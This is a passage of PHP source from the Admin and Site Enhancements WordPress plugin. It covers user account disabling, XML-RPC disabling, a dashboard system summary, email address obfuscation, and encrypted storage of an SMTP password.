add_action( 'wp_ajax_asenha_user_account_toggle_disabled', array( $this, 'ajax_toggle_disabled' ) );
add_action( 'admin_print_styles-users.php', array( $this, 'print_users_list_column_style' ) );
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_profile_scripts' ) );
add_action( 'personal_options_update', array( $this, 'save_profile_checkbox' ) );
add_action( 'edit_user_profile_update', array( $this, 'save_profile_checkbox' ) );
}
/**
* Whether the user is marked as login-disabled.
*
* @since 8.7.4
*
* @param int $user_id User ID.
* @return bool
*/
public function is_user_disabled( $user_id ) {
$user_id = (int) $user_id;
if ( $user_id <= 0 ) {
return false;
}
$flag = get_user_meta( $user_id, self::META_KEY, true );
return ( '1' === $flag || true === $flag || 1 === $flag || 'true' === $flag );
}
/**
* Whether the current user may enable/disable login for the target user via UI or AJAX.
*
* @since 8.7.4
*
* @param int $target_user_id User ID being toggled.
* @return bool
*/
public function current_user_may_toggle_user( $target_user_id ) {
$target_user_id = (int) $target_user_id;
if ( $target_user_id <= 0 ) {
return false;
}
if ( get_current_user_id() === $target_user_id ) {
return false;
}
if ( ! current_user_can( 'edit_user', $target_user_id ) ) {
return false;
}
if ( is_multisite() && is_super_admin( $target_user_id ) ) {
return false;
}
return true;
}
/**
* Return and clear the pending disabled-login redirect user ID (same request as authenticate).
*
* @since 8.7.5
*
* @return int|null User ID if login was blocked for a disabled account; otherwise null.
*/
public static function consume_pending_disabled_login_redirect_user_id() {
$id = self::$pending_disabled_login_redirect_user_id;
self::$pending_disabled_login_redirect_user_id = null;
if ( null === $id || (int) $id <= 0 ) {
return null;
}
return (int) $id;
}
/**
* Block login for disabled accounts (after username/password checks yield a user).
*
* @since 8.7.4
*
* @param \WP_User|\WP_Error|null $user User, error, or null.
* @param string $password Password (unused).
* @param string $username Username (unused).
* @return \WP_User|\WP_Error|null
*/
public function block_disabled_user_login( $user, $password, $username ) {
if ( null === $user || is_wp_error( $user ) || ! ( $user instanceof \WP_User ) ) {
return $user;
}
if ( $this->is_user_disabled( $user->ID ) ) {
self::$pending_disabled_login_redirect_user_id = (int) $user->ID;
return new \WP_Error(
self::ERROR_CODE,
__( 'ERROR: Your account has been disabled.', 'admin-site-enhancements' )
);
}
return $user;
}
/**
* Log out immediately if the logged-in account is disabled (stale cookie/session).
*
* @since 8.7.4
*/
public function maybe_force_logout_disabled_user() {
if ( ! is_user_logged_in() ) {
return;
}
$user_id = get_current_user_id();
if ( ! $this->is_user_disabled( $user_id ) ) {
return;
}
wp_logout();
wp_safe_redirect( wp_login_url() );
exit;
}
/**
* Hide Application Passwords for disabled users.
*
* @since 8.7.4
*
* @param bool $available Whether App Passwords are available for the user.
* @param mixed $user \WP_User|int|null.
* @return bool
*/
public function filter_application_passwords_for_user( $available, $user ) {
$user_id = 0;
if ( $user instanceof \WP_User ) {
$user_id = (int) $user->ID;
} elseif ( is_numeric( $user ) ) {
$user_id = (int) $user;
}
if ( $user_id > 0 && $this->is_user_disabled( $user_id ) ) {
return false;
}
return $available;
}
/**
* Append Status column (last).
*
* @since 8.7.4
*
* @param string[] $columns Column headers.
* @return string[]
*/
public function add_status_column( $columns ) {
$columns['asenha_user_account_status'] = __( 'Status', 'admin-site-enhancements' );
return $columns;
}
/**
* Output Status cell content.
*
* @since 8.7.4
*
* @param string $output Output.
* @param string $column_name Column key.
* @param int $user_id User ID.
* @return string
*/
public function render_status_column( $output, $column_name, $user_id ) {
if ( 'asenha_user_account_status' !== $column_name ) {
return $output;
}
if ( $this->is_user_disabled( $user_id ) ) {
return esc_html__( 'Disabled', 'admin-site-enhancements' );
}
return '';
}
/**
* Row actions: Disable / Enable.
*
* @since 8.7.4
*
* @param string[] $actions Row actions.
* @param \WP_User $user User object.
* @return string[]
*/
public function add_user_row_actions( $actions, $user ) {
if ( ! $user instanceof \WP_User ) {
return $actions;
}
if ( ! current_user_can( 'list_users' ) ) {
return $actions;
}
if ( ! $this->current_user_may_toggle_user( $user->ID ) ) {
return $actions;
}
$disabled = $this->is_user_disabled( $user->ID );
if ( $disabled ) {
/* translators: verb: enable user login */
$label = __( 'Enable', 'admin-site-enhancements' );
$set_disabled = 0;
} else {
/* translators: verb: disable user login */
$label = __( 'Disable', 'admin-site-enhancements' );
$set_disabled = 1;
}
$actions['asenha_disable_user_account'] = sprintf(
'<a href="#" class="asenha-user-account-toggle" role="button" data-user-id="%d" data-set-disabled="%d">%s</a>',
(int) $user->ID,
(int) $set_disabled,
esc_html( $label )
);
return $actions;
}
/**
* AJAX: set or clear disabled meta for a user.
*
* @since 8.7.4
*/
public function ajax_toggle_disabled() {
check_ajax_referer( 'asenha_user_account_toggle', 'nonce' );
if ( ! current_user_can( 'list_users' ) ) {
wp_send_json_error( array( 'message' => __( 'Sorry, you are not allowed to do this.', 'admin-site-enhancements' ) ), 403 );
}
$user_id = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0;
$set_disabled = isset( $_POST['set_disabled'] ) ? (bool) filter_var( wp_unslash( $_POST['set_disabled'] ), FILTER_VALIDATE_BOOLEAN ) : false;
if ( $user_id <= 0 || ! $this->current_user_may_toggle_user( $user_id ) ) {
wp_send_json_error( array( 'message' => __( 'Sorry, you are not allowed to modify this user.', 'admin-site-enhancements' ) ), 403 );
}
if ( $set_disabled ) {
update_user_meta( $user_id, self::META_KEY, '1' );
} else {
delete_user_meta( $user_id, self::META_KEY );
}
$is_disabled = $this->is_user_disabled( $user_id );
if ( $is_disabled ) {
$action_label = __( 'Enable', 'admin-site-enhancements' );
} else {
$action_label = __( 'Disable', 'admin-site-enhancements' );
}
wp_send_json_success(
array(
'is_disabled' => $is_disabled,
'status_html' => $is_disabled ? esc_html__( 'Disabled', 'admin-site-enhancements' ) : '',
'action_label' => $action_label,
'next_set_disabled' => $is_disabled ? 0 : 1,
)
);
}
/**
* Styles for Users list Status column.
*
* @since 8.7.4
*/
public function print_users_list_column_style() {
?>
<style>.column-asenha_user_account_status { width: 100px; }</style>
<?php
}
/**
* Enqueue profile script to inject Account Management row (core has no hook after Password Reset).
*
* @since 8.7.4
*
* @param string $hook_suffix Current admin page.
*/
public function enqueue_profile_scripts( $hook_suffix ) {
if ( ! in_array( $hook_suffix, array( 'user-edit.php', 'profile.php' ), true ) ) {
return;
}
$user_id = isset( $_GET['user_id'] ) ? absint( $_GET['user_id'] ) : get_current_user_id(); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
if ( get_current_user_id() === $user_id ) {
return;
}
if ( ! current_user_can( 'edit_users' ) ) {
return;
}
if ( is_multisite() && is_super_admin( $user_id ) ) {
return;
}
$disabled = $this->is_user_disabled( $user_id );
$row_html = '<tr class="asenha-disable-user-account-wrap">';
$row_html .= '<th scope="row">' . esc_html__( 'Disable User Account', 'admin-site-enhancements' ) . '</th>';
$row_html .= '<td>';
$row_html .= '<label for="asenha_user_account_disabled">';
$row_html .= '<input type="checkbox" name="asenha_user_account_disabled" id="asenha_user_account_disabled" value="1"' . checked( $disabled, true, false ) . ' />';
$row_html .= ' ' . esc_html__( 'Disable login for this account.', 'admin-site-enhancements' );
$row_html .= '</label></td></tr>';
// Inject before user-profile.js snapshots the form (avoids false "Leave site?" warnings).
wp_enqueue_script( 'user-profile' );
wp_localize_script(
'user-profile',
'asenhaDisableUserAccountProfile',
array(
'rowHtml' => $row_html,
)
);
wp_add_inline_script(
'user-profile',
$this->get_profile_row_injection_script(),
'before'
);
}
/**
* Inline JS to place the disable-account row before user-profile.js captures form state.
*
* @since 8.8.0
*
* @return string
*/
private function get_profile_row_injection_script() {
return <<<'JS'
( function ( $ ) {
'use strict';
$( function () {
if (
typeof asenhaDisableUserAccountProfile === 'undefined' ||
! asenhaDisableUserAccountProfile.rowHtml
) {
return;
}
var $table = $( 'table.form-table' )
.filter( function () {
return $( this ).find( '#password' ).length > 0;
} )
.first();
if ( ! $table.length ) {
return;
}
var $rows = $(
$.parseHTML(
asenhaDisableUserAccountProfile.rowHtml,
document,
true
)
);
var $sessions = $table.find( 'tr.user-sessions-wrap' ).first();
if ( $sessions.length ) {
$sessions.before( $rows );
return;
}
var $reset = $table.find( 'tr.user-generate-reset-link-wrap' ).first();
if ( $reset.length ) {
$reset.after( $rows );
return;
}
var $pwWeak = $table.find( 'tr.pw-weak' ).first();
if ( $pwWeak.length ) {
$pwWeak.after( $rows );
}
} );
} )( jQuery );
JS;
}
/**
* Save the profile checkbox on user update.
*
* @since 8.7.4
*
* @param int $user_id User ID being saved.
*/
public function save_profile_checkbox( $user_id ) {
$user_id = (int) $user_id;
if ( $user_id <= 0 ) {
return;
}
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), 'update-user_' . $user_id ) ) {
return;
}
if ( get_current_user_id() === $user_id ) {
return;
}
if ( ! current_user_can( 'edit_users' ) ) {
return;
}
if ( ! $this->current_user_may_toggle_user( $user_id ) ) {
return;
}
if ( isset( $_POST['asenha_user_account_disabled'] ) && '1' === sanitize_text_field( wp_unslash( $_POST['asenha_user_account_disabled'] ) ) ) {
update_user_meta( $user_id, self::META_KEY, '1' );
} else {
delete_user_meta( $user_id, self::META_KEY );
}
}
}
@@ -0,0 +1,59 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Disable XML-RPC module
*
* @since 6.9.5
*/
class Disable_XML_RPC {
/**
* Remove XML RPC link in head
*
* @since 6.2.2
*/
public function remove_xmlrpc_link() {
remove_action('wp_head', 'rsd_link');
}
/**
* Remove XML-RPC methods
*
* @link https://plugins.trac.wordpress.org/browser/stop-xml-rpc-attacks/trunk/stop-xml-rpc-attacks.php
* @since 7.6.9
*/
public function remove_xmlrpc_methods( $methods ) {
unset($methods['system.multicall']);
unset($methods['system.listMethods']);
unset($methods['system.getCapabilities']);
unset($methods['pingback.extensions.getPingbacks']);
unset($methods['pingback.ping']);
return $methods;
}
/**
* Disable the XML-RPC component
*
* @since 2.2.0
*/
public function maybe_disable_xmlrpc( $data ) {
// http_response_code(403);
header('HTTP/1.1 403 Forbidden');
exit('You don\'t have permission to access this file.');
}
/**
* Hide xmlrpc.php in HTTP response headers
*
* @link https://wordpress.stackexchange.com/a/219185
*/
public function hide_xmlrpc_in_http_response_headers( $headers ) {
unset( $headers['X-Pingback'] );
return $headers;
}
}
@@ -0,0 +1,46 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Display System Summary module
*
* @since 6.9.5
*/
class Display_System_Summary {
/**
* Display system summary in the "At a Glance" dashboard widget
*
* @since 5.6.0
*/
public function display_system_summary() {
// When user is logged-in as in an administrator
if ( is_user_logged_in() ) {
if ( current_user_can( 'manage_options' ) ) {
if ( isset( $_SERVER['SERVER_SOFTWARE'] ) ) {
$server_software_raw = str_replace( "/", " ", $_SERVER['SERVER_SOFTWARE'] );
$server_software_parts = explode( " (", $server_software_raw );
$server_software = ucfirst( $server_software_parts[0] );
} else {
$server_software = 'Unknown';
}
$php_version = phpversion();
// From WP core /wp-admin/includes/class-wp-debug-data.php
global $wpdb;
$db_server = $wpdb->get_var( 'SELECT VERSION()' );
$db_server_parts = explode( ':', $db_server );
$db_server = $db_server_parts[0];
$db_separator = '&9670;';
$ip = 'localhost';
if ( isset( $_SERVER['HTTP_X_SERVER_ADDR'] ) ) {
$ip = sanitize_text_field( $_SERVER['HTTP_X_SERVER_ADDR'] );
} elseif ( isset( $_SERVER['SERVER_ADDR'] ) ) {
$ip = sanitize_text_field( $_SERVER['SERVER_ADDR'] );
} else {
}
echo '<div class="system-summary"><a href="' . esc_url( admin_url( 'site-health.php?tab=debug' ) ) . '">System</a>: ' . esc_html( $server_software ) . ' &#9642; PHP ' . esc_html( $php_version ) . ' (' . esc_html( php_sapi_name() ) . ') &#9642;' . esc_html( $db_server ) . ' &#9642; IP: ' . esc_html( $ip ) . '</div>';
}
}
}
}
@@ -0,0 +1,125 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Email Address Obfuscator module
*
* @since 6.9.5
*/
class Email_Address_Obfuscator {
/**
* Cached associative array of allowed upload extensions (lowercase), e.g. [ 'jpg' => true ].
*
* Derived from WordPress core `get_allowed_mime_types()`, which respects `upload_mimes` filters.
*
* @since 7.??.? (ASE)
* @var array|null
*/
private static $allowed_upload_extensions = null;
/**
* Get the render mode used by obfuscate shortcode output.
*
* @since 8.4.3
*
* @return string Render mode.
*/
private function get_obfuscate_email_render_mode() {
$render_mode = 'legacy';
$options = get_option( ASENHA_SLUG_U, array() );
$builder_safe_mode = ( isset( $options['obfuscate_email_address_builder_safe_mode'] ) ? $options['obfuscate_email_address_builder_safe_mode'] : false );
if ( 'on' === $builder_safe_mode || '1' === $builder_safe_mode || 1 === $builder_safe_mode || true === $builder_safe_mode ) {
// builder-safe / high-compatibility mode
$render_mode = 'builder_safe';
}
return $render_mode;
}
/**
* Obfuscate email address on the frontend using antispambot() native WP function
*
* @link: https://gist.github.com/eclarrrk/349360b52e8822b69cb6fc499722520f
* @since 5.5.0
*/
public function obfuscate_string( $atts ) {
$atts = shortcode_atts( array(
'email' => '',
'subject' => '',
'text' => '',
'display' => 'newline',
'link' => 'no',
'class' => '',
), $atts );
$email = sanitize_email( $atts['email'] );
if ( !is_email( $email ) ) {
return '';
}
$render_mode = $this->get_obfuscate_email_render_mode();
$css_bidi_styles = '';
$direction_styles = '';
if ( !empty( $atts['text'] ) ) {
$text = esc_html( $atts['text'] );
} else {
if ( 'legacy' === $render_mode ) {
// Reverse email address characters if not in Firefox, which has bug related to unicode-bidi CSS property.
$http_user_agent = ( isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( $_SERVER['HTTP_USER_AGENT'] ) : 'generic' );
if ( false !== stripos( $http_user_agent, 'firefox' ) || false !== stripos( $http_user_agent, 'iphone' ) ) {
// Do nothing. Do not reverse characters.
$email_reversed = $email;
$email_rev_parts = explode( '@', $email_reversed );
$email_rev_parts = array($email_rev_parts[0], $email_rev_parts[1]);
$css_bidi_styles = '';
$direction_styles = 'direction:rtl;';
} else {
$email_reversed = strrev( $email );
$email_rev_parts = explode( '@', $email_reversed );
$css_bidi_styles = 'unicode-bidi:bidi-override;';
$direction_styles = 'direction:rtl;';
}
$random_number = dechex( rand( 1000000, 9999999 ) );
$text = esc_html( $email_rev_parts[0] ) . '<span style="display:none;">obfsctd-' . esc_html( $random_number ) . '</span>&#64;' . esc_html( $email_rev_parts[1] );
} else {
// builder-safe / high-compatibility mode
$text = antispambot( $email );
}
}
$display = sanitize_text_field( $atts['display'] );
if ( !in_array( $display, array('newline', 'inline'), true ) ) {
$display = 'newline';
}
if ( 'newline' === $display ) {
if ( 'legacy' === $render_mode ) {
$display_css = 'display:flex;justify-content:flex-end;';
} else {
$display_css = 'display:block;';
}
} else {
$display_css = 'display:inline;';
}
$subject = sanitize_text_field( $atts['subject'] );
if ( !empty( $subject ) ) {
$subject = '?subject=' . rawurlencode( $subject );
}
$link = sanitize_text_field( $atts['link'] );
if ( !in_array( $link, array('no', 'yes', 'mailto'), true ) ) {
$link = 'no';
}
$class = sanitize_text_field( $atts['class'] );
$span_style = $display_css . $css_bidi_styles . $direction_styles;
return '<span style="' . esc_attr( $span_style ) . '" class="' . esc_attr( $class ) . '">' . $text . '</span>';
}
/**
* Add additional attributes to the list of safe CSS attributes
* This prevents those attributes from being stripped out when displaying the obfuscated email address
*
* @since 7.3.1
*/
public function add_additional_attributes_to_safe_css( $css_attributes ) {
$css_attributes[] = 'display';
$css_attributes[] = 'unicode-bidi';
return $css_attributes;
}
}
@@ -0,0 +1,906 @@
<?php
namespace ASENHA\Classes;
use WP_Error;
use ASENHA\EmailDelivery\Email_Log_Table;
/**
* Class for Email Delivery module
*
* @since 6.9.5
*/
class Email_Delivery {
const SMTP_PASSWORD_PREFIX = 'asenha_encrypted::smtp_password::v1::';
const SMTP_PASSWORD_PREFIX_V2 = 'asenha_encrypted::smtp_password::v2::';
const SMTP_PASSWORD_UNAVAILABLE_TRANSIENT = 'asenha_smtp_password_unavailable';
const SMTP_PASSWORD_NOTICE_DISMISSED_META = 'asenha_smtp_password_notice_dismissed';
const SMTP_PASSWORD_STATUS_EMPTY = 'empty';
const SMTP_PASSWORD_STATUS_LEGACY_PLAINTEXT = 'legacy_plaintext';
const SMTP_PASSWORD_STATUS_ENCRYPTED_VALID = 'encrypted_valid';
const SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID = 'encrypted_invalid';
private $log_entry_id;
/**
* Pending email-log error when SMTP auth cannot use the stored password.
*
* @since 8.8.5
*
* @var string
*/
private $pending_smtp_password_log_error = '';
/**
* Transient lifetime for surfacing SMTP password failures to administrators.
*
* @since 8.8.5
*
* @return int
*/
public function get_smtp_password_unavailable_transient_ttl() {
return 90 * DAY_IN_SECONDS;
}
/**
* Derive the v1 encryption key from WordPress salts.
*
* @since 8.4.3
*
* @return string
*/
private function get_smtp_password_encryption_key_v1() {
return hash( 'sha256', \wp_salt( 'auth' ) . \wp_salt( 'secure_auth' ) . 'asenha_smtp_password', true );
}
/**
* Load admin_site_enhancements_extra as an array.
*
* @since 8.8.5
*
* @return array
*/
private function get_options_extra_array() {
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
return ( is_array( $options_extra ) ? $options_extra : array() );
}
/**
* Get the stored v2 secret key without creating one.
*
* @since 8.8.5
*
* @return string|false
*/
private function get_stored_smtp_secret_key_v2() {
$options_extra = $this->get_options_extra_array();
if ( empty( $options_extra['smtp_secret_key'] ) || !is_string( $options_extra['smtp_secret_key'] ) ) {
return false;
}
$decoded = base64_decode( $options_extra['smtp_secret_key'], true );
if ( false === $decoded || 32 !== strlen( $decoded ) ) {
return false;
}
return $decoded;
}
/**
* Get or create the per-site v2 SMTP secret key.
*
* @since 8.8.5
*
* @return string|false
*/
private function get_or_create_smtp_secret_key_v2() {
$stored_key = $this->get_stored_smtp_secret_key_v2();
if ( false !== $stored_key ) {
return $stored_key;
}
if ( !$this->can_handle_smtp_password_encryption() ) {
return false;
}
try {
$key = random_bytes( 32 );
} catch ( \Exception $exception ) {
return false;
}
$options_extra = $this->get_options_extra_array();
$options_extra['smtp_secret_key'] = base64_encode( $key );
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
return $key;
}
/**
* Persist a non-secret fingerprint of the active encryption key.
*
* @since 8.8.5
*
* @param string $encryption_key Raw encryption key.
* @return void
*/
private function persist_smtp_password_key_fingerprint( $encryption_key ) {
$options_extra = $this->get_options_extra_array();
$options_extra['smtp_password_key_fingerprint'] = hash( 'sha256', $encryption_key );
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
}
/**
* Check whether the current environment can encrypt/decrypt the SMTP password.
*
* @since 8.4.3
*
* @return bool
*/
private function can_handle_smtp_password_encryption() {
return function_exists( 'openssl_encrypt' ) && function_exists( 'openssl_decrypt' ) && function_exists( 'openssl_cipher_iv_length' ) && function_exists( 'random_bytes' );
}
/**
* Check whether the stored SMTP password uses the v1 encrypted format.
*
* @since 8.8.5
*
* @param string $stored_password Stored option value.
* @return bool
*/
public function is_smtp_password_v1_encrypted( $stored_password ) {
return is_string( $stored_password ) && 0 === strpos( $stored_password, self::SMTP_PASSWORD_PREFIX );
}
/**
* Check whether the stored SMTP password uses the v2 encrypted format.
*
* @since 8.8.5
*
* @param string $stored_password Stored option value.
* @return bool
*/
public function is_smtp_password_v2_encrypted( $stored_password ) {
return is_string( $stored_password ) && 0 === strpos( $stored_password, self::SMTP_PASSWORD_PREFIX_V2 );
}
/**
* Check whether the stored SMTP password value is encrypted.
*
* @since 8.4.3
*
* @param string $stored_password Stored option value.
* @return bool
*/
public function is_smtp_password_encrypted( $stored_password ) {
return $this->is_smtp_password_v1_encrypted( $stored_password ) || $this->is_smtp_password_v2_encrypted( $stored_password );
}
/**
* Check whether a value looks like stored SMTP ciphertext rather than plaintext.
*
* @since 8.8.6
*
* @param string $value Candidate value.
* @return bool
*/
public function is_probable_smtp_ciphertext( $value ) {
return is_string( $value ) && ($this->is_smtp_password_v1_encrypted( $value ) || $this->is_smtp_password_v2_encrypted( $value ) || 0 === strpos( $value, 'asenha_encrypted::smtp_password::' ));
}
/**
* Whether SMTP password storage has been upgraded to the v2 format.
*
* @since 8.8.6
*
* @return bool
*/
public function is_smtp_password_storage_version_v2() {
$options_extra = $this->get_options_extra_array();
return isset( $options_extra['smtp_password_storage_version'] ) && 2 === (int) $options_extra['smtp_password_storage_version'];
}
/**
* Mark SMTP password storage as upgraded to v2.
*
* @since 8.8.6
*
* @return void
*/
public function mark_smtp_password_storage_version_v2() {
$options_extra = $this->get_options_extra_array();
$options_extra['smtp_password_storage_version'] = 2;
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
}
/**
* Unwrap nested SMTP ciphertext layers down to plaintext.
*
* @since 8.8.6
*
* @param string $stored_password Stored option value.
* @param int $max_depth Maximum unwrap attempts.
* @return string|false Plaintext password or false when unusable.
*/
public function unwrap_smtp_password_to_plaintext( $stored_password, $max_depth = 5 ) {
if ( !is_string( $stored_password ) || '' === $stored_password ) {
return false;
}
if ( !$this->is_probable_smtp_ciphertext( $stored_password ) ) {
return $stored_password;
}
$current = $stored_password;
$depth = 0;
while ( $depth < $max_depth && $this->is_probable_smtp_ciphertext( $current ) ) {
$decrypted = $this->decrypt_smtp_password( $current );
if ( false === $decrypted ) {
return false;
}
$current = $decrypted;
$depth++;
}
if ( $this->is_probable_smtp_ciphertext( $current ) ) {
return false;
}
return $current;
}
/**
* Encrypt a payload with AES-256-CBC and an authenticated HMAC.
*
* @since 8.8.5
*
* @param string $password Plaintext password.
* @param string $key Encryption key.
* @param string $prefix Stored-value prefix.
* @return string
*/
private function encrypt_smtp_password_with_key( $password, $key, $prefix ) {
if ( '' === $password || !$this->can_handle_smtp_password_encryption() ) {
return '';
}
$cipher = 'AES-256-CBC';
$iv_len = openssl_cipher_iv_length( $cipher );
if ( false === $iv_len ) {
return '';
}
try {
$iv = random_bytes( $iv_len );
} catch ( \Exception $exception ) {
return '';
}
$ciphertext_raw = openssl_encrypt(
$password,
$cipher,
$key,
OPENSSL_RAW_DATA,
$iv
);
if ( false === $ciphertext_raw ) {
return '';
}
$hmac = hash_hmac(
'sha256',
$ciphertext_raw,
$key,
true
);
return $prefix . base64_encode( $iv . $hmac . $ciphertext_raw );
}
/**
* Decrypt a stored SMTP password payload.
*
* @since 8.8.5
*
* @param string $stored_password Stored option value.
* @param string $key Encryption key.
* @param string $prefix Stored-value prefix.
* @return string|false
*/
private function decrypt_smtp_password_with_key( $stored_password, $key, $prefix ) {
if ( !is_string( $stored_password ) || 0 !== strpos( $stored_password, $prefix ) ) {
return false;
}
if ( !$this->can_handle_smtp_password_encryption() ) {
return false;
}
$payload = substr( $stored_password, strlen( $prefix ) );
$decoded = base64_decode( $payload, true );
if ( false === $decoded ) {
return false;
}
$cipher = 'AES-256-CBC';
$iv_len = openssl_cipher_iv_length( $cipher );
if ( false === $iv_len || strlen( $decoded ) <= $iv_len + 32 ) {
return false;
}
$iv = substr( $decoded, 0, $iv_len );
$stored_hmac = substr( $decoded, $iv_len, 32 );
$ciphertext_raw = substr( $decoded, $iv_len + 32 );
$calc_hmac = hash_hmac(
'sha256',
$ciphertext_raw,
$key,
true
);
if ( !hash_equals( $stored_hmac, $calc_hmac ) ) {
return false;
}
return openssl_decrypt(
$ciphertext_raw,
$cipher,
$key,
OPENSSL_RAW_DATA,
$iv
);
}
/**
* Encrypt SMTP password for storage in options (always v2).
*
* @since 8.4.3
*
* @param string $password SMTP password.
* @return string Encrypted payload or empty string on failure.
*/
public function encrypt_smtp_password( $password ) {
if ( '' === $password ) {
return '';
}
if ( $this->is_probable_smtp_ciphertext( $password ) ) {
return '';
}
$key = $this->get_or_create_smtp_secret_key_v2();
if ( false === $key ) {
return '';
}
$encrypted_password = $this->encrypt_smtp_password_with_key( $password, $key, self::SMTP_PASSWORD_PREFIX_V2 );
if ( !empty( $encrypted_password ) ) {
$this->persist_smtp_password_key_fingerprint( $key );
$this->mark_smtp_password_storage_version_v2();
$this->clear_smtp_password_unavailable_flag();
$this->clear_smtp_password_notice_dismissals();
}
return $encrypted_password;
}
/**
* Decrypt stored SMTP password.
*
* @since 8.4.3
*
* @param string $stored_password Stored option value.
* @return string|false
*/
public function decrypt_smtp_password( $stored_password ) {
if ( $this->is_smtp_password_v2_encrypted( $stored_password ) ) {
$key = $this->get_stored_smtp_secret_key_v2();
if ( false === $key ) {
return false;
}
return $this->decrypt_smtp_password_with_key( $stored_password, $key, self::SMTP_PASSWORD_PREFIX_V2 );
}
if ( $this->is_smtp_password_v1_encrypted( $stored_password ) ) {
return $this->decrypt_smtp_password_with_key( $stored_password, $this->get_smtp_password_encryption_key_v1(), self::SMTP_PASSWORD_PREFIX );
}
return false;
}
/**
* Get the current storage status of the SMTP password.
*
* @since 8.4.3
*
* @param string|null $stored_password Stored option value.
* @return string
*/
public function get_smtp_password_status( $stored_password = null ) {
if ( null === $stored_password ) {
$options = get_option( ASENHA_SLUG_U, array() );
$stored_password = ( isset( $options['smtp_password'] ) ? $options['smtp_password'] : '' );
}
if ( empty( $stored_password ) ) {
return self::SMTP_PASSWORD_STATUS_EMPTY;
}
if ( $this->is_smtp_password_encrypted( $stored_password ) ) {
$plaintext_password = $this->unwrap_smtp_password_to_plaintext( $stored_password );
if ( false === $plaintext_password || $this->is_probable_smtp_ciphertext( $plaintext_password ) ) {
return self::SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID;
}
return self::SMTP_PASSWORD_STATUS_ENCRYPTED_VALID;
}
if ( $this->is_probable_smtp_ciphertext( $stored_password ) ) {
return self::SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID;
}
return self::SMTP_PASSWORD_STATUS_LEGACY_PLAINTEXT;
}
/**
* Human-readable SMTP password status label for the settings UI.
*
* @since 8.8.5
*
* @param string|null $stored_password Stored option value.
* @return string
*/
public function get_smtp_password_status_label( $stored_password = null ) {
$status = $this->get_smtp_password_status( $stored_password );
switch ( $status ) {
case self::SMTP_PASSWORD_STATUS_ENCRYPTED_VALID:
case self::SMTP_PASSWORD_STATUS_LEGACY_PLAINTEXT:
return __( 'Saved', 'admin-site-enhancements' );
case self::SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID:
return __( 'Re-entry required', 'admin-site-enhancements' );
default:
return __( 'Not set', 'admin-site-enhancements' );
}
}
/**
* Whether SMTP authentication is required but no usable password is available.
*
* @since 8.8.5
*
* @param array|null $options ASE options array.
* @return bool
*/
public function is_smtp_password_unavailable_for_delivery( $options = null ) {
if ( null === $options ) {
$options = get_option( ASENHA_SLUG_U, array() );
}
if ( !is_array( $options ) || empty( $options['smtp_email_delivery'] ) ) {
return false;
}
$smtp_authentication = ( isset( $options['smtp_authentication'] ) ? $options['smtp_authentication'] : 'enable' );
if ( 'enable' !== $smtp_authentication ) {
return false;
}
$smtp_host = ( isset( $options['smtp_host'] ) ? $options['smtp_host'] : '' );
$smtp_port = ( isset( $options['smtp_port'] ) ? $options['smtp_port'] : '' );
$smtp_security = ( isset( $options['smtp_security'] ) ? $options['smtp_security'] : '' );
if ( empty( $smtp_host ) || empty( $smtp_port ) || empty( $smtp_security ) ) {
return false;
}
$stored_password = ( isset( $options['smtp_password'] ) ? $options['smtp_password'] : '' );
$status = $this->get_smtp_password_status( $stored_password );
if ( self::SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID === $status ) {
return true;
}
if ( self::SMTP_PASSWORD_STATUS_EMPTY === $status ) {
return true;
}
return '' === $this->get_smtp_password_for_runtime( $stored_password );
}
/**
* Flag that SMTP password delivery is unavailable for administrator follow-up.
*
* @since 8.8.5
*
* @return void
*/
public function set_smtp_password_unavailable_flag() {
set_transient( self::SMTP_PASSWORD_UNAVAILABLE_TRANSIENT, 1, $this->get_smtp_password_unavailable_transient_ttl() );
}
/**
* Clear the SMTP password unavailable flag.
*
* @since 8.8.5
*
* @return void
*/
public function clear_smtp_password_unavailable_flag() {
delete_transient( self::SMTP_PASSWORD_UNAVAILABLE_TRANSIENT );
}
/**
* Whether the SMTP password unavailable flag is currently set.
*
* @since 8.8.5
*
* @return bool
*/
public function is_smtp_password_unavailable_flagged() {
return (bool) get_transient( self::SMTP_PASSWORD_UNAVAILABLE_TRANSIENT );
}
/**
* Clear per-user SMTP password notice dismissals.
*
* @since 8.8.5
*
* @return void
*/
public function clear_smtp_password_notice_dismissals() {
delete_metadata(
'user',
0,
self::SMTP_PASSWORD_NOTICE_DISMISSED_META,
'',
true
);
}
/**
* Check SMTP password health after a Site Backup restore.
*
* @since 8.8.5
*
* @return string Warning message or empty string when healthy.
*/
public function check_smtp_password_after_restore() {
if ( !$this->is_smtp_password_unavailable_for_delivery() ) {
return '';
}
$this->set_smtp_password_unavailable_flag();
return __( 'SMTP password could not be decrypted after restore. Re-enter it under ASE → Email Delivery.', 'admin-site-enhancements' );
}
/**
* Repair nested SMTP password storage by rewriting a clean single-layer v2 value.
*
* @since 8.8.6
*
* @return bool Whether storage was repaired or already healthy.
*/
public function repair_nested_smtp_password_storage() {
$options = get_option( ASENHA_SLUG_U, array() );
if ( !is_array( $options ) || empty( $options['smtp_password'] ) ) {
return false;
}
$stored_password = $options['smtp_password'];
if ( $this->is_smtp_password_storage_version_v2() && $this->is_smtp_password_v2_encrypted( $stored_password ) ) {
$outer_plaintext = $this->decrypt_smtp_password( $stored_password );
if ( false !== $outer_plaintext && !$this->is_probable_smtp_ciphertext( $outer_plaintext ) ) {
return true;
}
}
$plaintext_password = $this->unwrap_smtp_password_to_plaintext( $stored_password );
if ( false === $plaintext_password || $this->is_probable_smtp_ciphertext( $plaintext_password ) ) {
$this->set_smtp_password_unavailable_flag();
return false;
}
